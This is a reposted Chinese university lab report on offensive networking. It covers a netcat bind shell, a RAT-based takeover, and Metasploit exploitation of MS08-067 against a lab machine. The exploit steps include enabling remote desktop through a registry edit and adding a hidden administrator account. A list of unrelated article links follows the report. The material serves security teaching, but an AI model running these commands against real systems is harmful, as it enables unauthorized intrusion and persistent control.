当前位置: 首页 > article >正文

实验四

中国人民公安大学

Chinese people’ public security university

 

网络对抗技术

实验报告

 

实验四

恶意代码技术

 

 

 

学生姓名

李博伟

年级

15

区队

三区

指导教师

 高见

 

 

信息技术与网络安全学院

20181017

 

实验任务总纲

2018—2019学年   学期

一、实验目的

1.通过对木马的练习,使读者理解和掌握木马传播和运行的机制;通过手动删除木马,掌握检查木马和删除木马的技巧,学会防御木马的相关知识,加深对木马的安全防范意识。

 

2.了解并熟悉常用的网络攻击工具,木马的基本功能;

3.达到巩固课程知识和实际应用的目的。

二、实验要求

1.认真阅读每个实验内容,需要截图的题目,需清晰截图并对截图进行标注和说明。

2.文档要求结构清晰,图文表达准确,标注规范。推理内容客观、合理、逻辑性强。

3.软件工具可使用NCMSF等。

4.实验结束后,保留电子文档。

三、实验步骤

1.准备

提前做好实验准备,实验前应把详细了解实验目的、实验要求和实验内容,熟悉并准备好实验用的软件工具,按照实验内容和要求提前做好实验内容的准备。

2.实验环境

描述实验所使用的硬件和软件环境(包括各种软件工具);

开机并启动软件office20032007、浏览器、加解密软件。

3.实验过程

1)启动系统和启动工具软件环境。

2)用软件工具实现实验内容。

4.实验报告

按照统一要求的实验报告格式书写实验报告。把按照模板格式编写的文档嵌入到实验报告文档中,文档按照规定的书写格式书写,表格要有表说图形要有图说。

 

任务一 利用NC控制电脑

 

 NetCat,具有网络军刀之称,它小巧精悍且功能强大,说它小巧精悍,是因为他的软件大小现在已经压缩到只有十几KB,而且在功能上丝毫不减。

 

实验过程需要两个同学相互配合完成:

 

步骤一:

 

   在受害者的机器 (同学A) 输入下面的命令:   nc.exe -l -p port -e cmd.exe   进入监听模式

 

 

 

步骤二:   在攻击者的机器.(同学B) 输入下面的命令:   nc ip  port //连接victim_IP,然后得到一个shell。 (需要截图)

 

 

 

 

步骤三:

 

    shell中,利用net user 用户名 密码 /add ,添加一个用户,并在受害者的机器中使用 net user 命令进行验证。(需要截图)

 

 

 

 

 

 

 可以继续通过命令行做一些事情。

 

任务二 利用木马控制电脑

使用star rat软件生成木马

 

 

使用靶机打开生成的木马文件 攻击机即可对靶机进行各种控制

比如拿到一个shell:

 

 

上传下载文件:

 

任务三 通过漏洞获取shell  所有过程截图写博客

 windows ms08067 漏洞利用

.1 知识背景

 

 

Metasploit是一款开源的安全漏洞检测工具,Metasploit Framework (MSF) 2003年以开放源码方式发布,是可以自由获取的开发框架。它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠平台。这种可以扩展的模型将负载控制(payload)、编码器(encode)、无操作生成器(nops)和漏洞整合在一起,使 Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ,并且不断更新。

 

Metasploit Framework并不止具有exploit(溢出)收集功能,它使你专注于创建自己的溢出模块或者二次开发。很少的一部分用汇编和C语言实现,其余均由ruby实现。总体架构:

 

 

 

.2漏洞利用过程

 

msfconsole使用search命令搜索MS08067漏洞攻击程序

 

 

 

从结果中得到

 

exploit/windows/smb/ms08_067_netapi

 

表示当前msf框架中包含MS08067漏洞的攻击插件。

 

使用use命令调用MS08067漏洞攻击程序

 

use exploit/windows/smb/ms08_067_netapi

 

进入msf的交互式命令窗口下,使用show options 命令查看需要设置的选项。

 

 

 

 

 

 

 

从图中可以看到还需设置RHOST(目标地址)、Exploit target(攻击目标)使用 set 命令设置 Module Options,此处需要设置目标IP set RHOST 172.16.211.129

使用 set 命令设置后,可再使用show options 命令查看设置情况

 

 

 

 使用 set 命令设置后,可再使用show options 命令查看设置情况

 

 

 

从中可以看出目标IP已经设置好接着设置Exploit target,使用show targets 查看可选项可以看出以下版本的系统均存在此漏洞

 

 

 

 

 

使用set target 命令设置目标,此处即为set target 0

 

 

 

 

此时再用show options 可以看到全部设置完成,接着使用exploit 或者 run 进行攻击

 

 

 

 

执行run命令后得到一个meterpreter命令行交互窗口

 

 

meterpreter中输入run getgui -e 命令,可以打开RDP(远程桌面)服务,端口号3389

 

 

 

继续输入shell即可进入CMD窗口

 

 

 

cmd命令下也可以通过添加注册表项的方式开启对方远程桌面服务(如果上面已经开启了,这步可以省略)。 

 

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

 

 

 

 

 

使用netstat -an命令查看端口是否开放,从图中可以看到已经开放3389端口。

 

 

 

 

 

 

接着使用net user命令查看XP系统中的用户

 

 

 

 

 

 

 在平台中获取shell之后,继续在命令行添加账户和管理员权限。

 

net user user pass /add   例如:net user gao 123 /add

 

 

 

net localgroup administrators /add  

 

 

例如:net localgroup administrators gao /add  

 

 

最后开启远程桌面,利用刚在添加的账户登陆被攻击机器。 

 

 

 

rdesktop -a 32 -u gao -p 123 172.16.211.129:3389

 

转载于:https://www.cnblogs.com/p201521430024/p/9884144.html

http://www.lryc.cn/news/2413223.html

相关文章:

  • UDP、TCP/IP详解
  • sql使用小技巧之约束(Constraints、NOT NULL、UNIQUE、PRIMARY KEY)简单了解下
  • CSS 高度(css height)
  • 二分法(c语言)
  • 免费PHP空间整理
  • Microsoft .NET Framework v4.7.1 离线安装包应用程序
  • html caption属性,html元素caption标签的使用方法及作用
  • 汤姆·克鲁斯 - 电影全集
  • 帧中继技术介绍-ielab
  • 塞尔达传说gba_《塞尔达传说缩小帽》是系列一年级生?,回忆众多玩友的启蒙之作...
  • IT技术的发展是创造新世纪还是毁灭这个世界?
  • 使用Eclipse开发J2EE项目详解
  • 史上最全的CentOS常用软件安装和启动步骤【包含Docker安装】_centos7
  • 电脑系统进程大解剖
  • 数字信号处理的学习资源
  • 怎么搭建自己的网站?详细教程
  • ARCGIS9.3安装
  • rk修改launcher_RK launcher V 0.41 官方版
  • Flex与java通信
  • 国内IT公司速查手册
  • php开发his软件,HIS系统(his管理系统)V3.0.1 官网版
  • tftpd32服务器软件在Windows与linux 下的文件传输
  • 【源码】二分法及MATLAB实现
  • 数学速算法64种口诀_【收藏】加减乘除速算法,为孩子打开一个神奇有趣的数学世界!...
  • 详解Wavedev2模式的音频驱动
  • 常见的十五种Java开发工具
  • unity3d_webplayer_缓存文件结构
  • 红帽linux7.2安装教程,RHEL 6.2安装(超级详细图解教程) | 系统运维
  • 网吧服务器点歌系统,网吧点歌系统_网吧语音大师_蓝宝石语音_网吧点歌系统_蓝宝石呼叫网管_hylbs.com...
  • Code Craft(编程匠艺)之代码的生命(一)